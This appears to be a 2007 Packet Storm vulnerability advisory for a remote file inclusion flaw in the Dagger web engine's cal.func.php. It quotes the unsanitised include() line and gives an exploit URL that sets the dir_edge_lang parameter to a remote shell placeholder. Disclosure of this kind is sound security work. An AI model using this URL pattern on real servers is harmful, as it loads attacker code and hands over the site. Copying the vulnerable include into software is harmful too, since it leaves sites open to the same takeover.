dagger-rfi.txt

2007-06-26T00:00:00
ID PACKETSTORM:57280
Type packetstorm
Reporter Katatafish
Modified 2007-06-26T00:00:00

Description

                                        
                                            `###Dagger-web engine(cal.func.php)Remote File Inclusion###  
  
#download:  
http://kent.dl.sourceforge.net/sourceforge/dagger/dagger_r23jan2007.  
zip  
  
#found by: katatafish (karatatata@hush.com)  
  
#code: (cal.func.php)  
include($dir_edge_lang.'cal_lang.inc.php');  
  
#exploit:  
http://www.site.com/[path]/cal.func.php?dir_edge_lang=[SHELL]  
  
#Thanks: str0ke  
`